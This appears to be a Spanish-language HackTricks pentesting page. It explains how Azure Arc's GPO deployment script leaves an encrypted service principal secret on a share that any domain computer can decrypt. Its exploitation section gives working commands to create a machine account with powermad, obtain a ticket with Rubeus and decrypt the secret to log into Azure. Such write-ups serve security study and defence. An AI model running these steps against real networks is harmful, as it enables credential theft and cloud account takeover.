Az - Arc vulnerable GPO Deploy Script

Apoya a HackTricks

Identificación de los Problemas

Azure Arc permite la integración de nuevos servidores internos (servidores unidos al dominio) en Azure Arc utilizando el método de Objeto de Directiva de Grupo (GPO). Para facilitar esto, Microsoft proporciona un kit de implementación necesario para iniciar el procedimiento de incorporación. Dentro del archivo ArcEnableServerGroupPolicy.zip, se pueden encontrar los siguientes scripts: DeployGPO.ps1, EnableAzureArc.ps1 y AzureArcDeployment.psm1.

Cuando se ejecuta, el script DeployGPO.ps1 realiza las siguientes acciones:

  1. Crea la GPO de Incorporación de Servidores de Azure Arc dentro del dominio local.

  2. Copia el script de incorporación EnableAzureArc.ps1 al recurso compartido de red designado creado para el proceso de incorporación, que también contiene el paquete de instalación de Windows.

Al ejecutar este script, los administradores de sistemas deben proporcionar dos parámetros principales: ServicePrincipalId y ServicePrincipalClientSecret. Además, requiere otros parámetros como el dominio, el FQDN del servidor que aloja el recurso compartido y el nombre del recurso compartido. También se deben proporcionar detalles adicionales como el ID de inquilino, el grupo de recursos y otra información necesaria al script.

Se genera un secreto cifrado en el directorio AzureArcDeploy en el recurso compartido especificado utilizando el cifrado DPAPI-NG. El secreto cifrado se almacena en un archivo llamado encryptedServicePrincipalSecret. Se puede encontrar evidencia de esto en el script DeployGPO.ps1, donde el cifrado se realiza llamando a ProtectBase64 con $descriptor y $ServicePrincipalSecret como entradas. El descriptor consiste en los SID de los grupos Domain Computer y Domain Controller, asegurando que el ServicePrincipalSecret solo pueda ser descifrado por los grupos de seguridad Domain Controllers y Domain Computers, como se indica en los comentarios del script.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Explotar

Tenemos las siguientes condiciones:

  1. Hemos penetrado con éxito en la red interna.

  2. Tenemos la capacidad de crear o asumir el control de una cuenta de computadora dentro de Active Directory.

  3. Hemos descubierto una carpeta compartida que contiene el directorio AzureArcDeploy.

Existen varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACL vulnerables u otras configuraciones incorrectas.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Una vez que se obtiene una cuenta de máquina, es posible autenticarse utilizando esta cuenta. Podemos usar el comando runas.exe con la bandera netonly o usar pass-the-ticket con Rubeus.exe.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Al tener el TGT de nuestra cuenta de equipo almacenado en la memoria, podemos usar el siguiente script para descifrar el secreto principal del servicio.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternativamente, podemos usar SecretManagement.DpapiNG.

En este punto, podemos recopilar la información restante necesaria para conectarnos a Azure desde el archivo ArcInfo.json, que se encuentra almacenado en el mismo recurso compartido de red que el archivo encryptedServicePrincipalSecret. Este archivo contiene detalles como: TenantId, servicePrincipalClientId, ResourceGroup, y más. Con esta información, podemos utilizar Azure CLI para autenticarnos como el principal de servicio comprometido.

Referencias

Last updated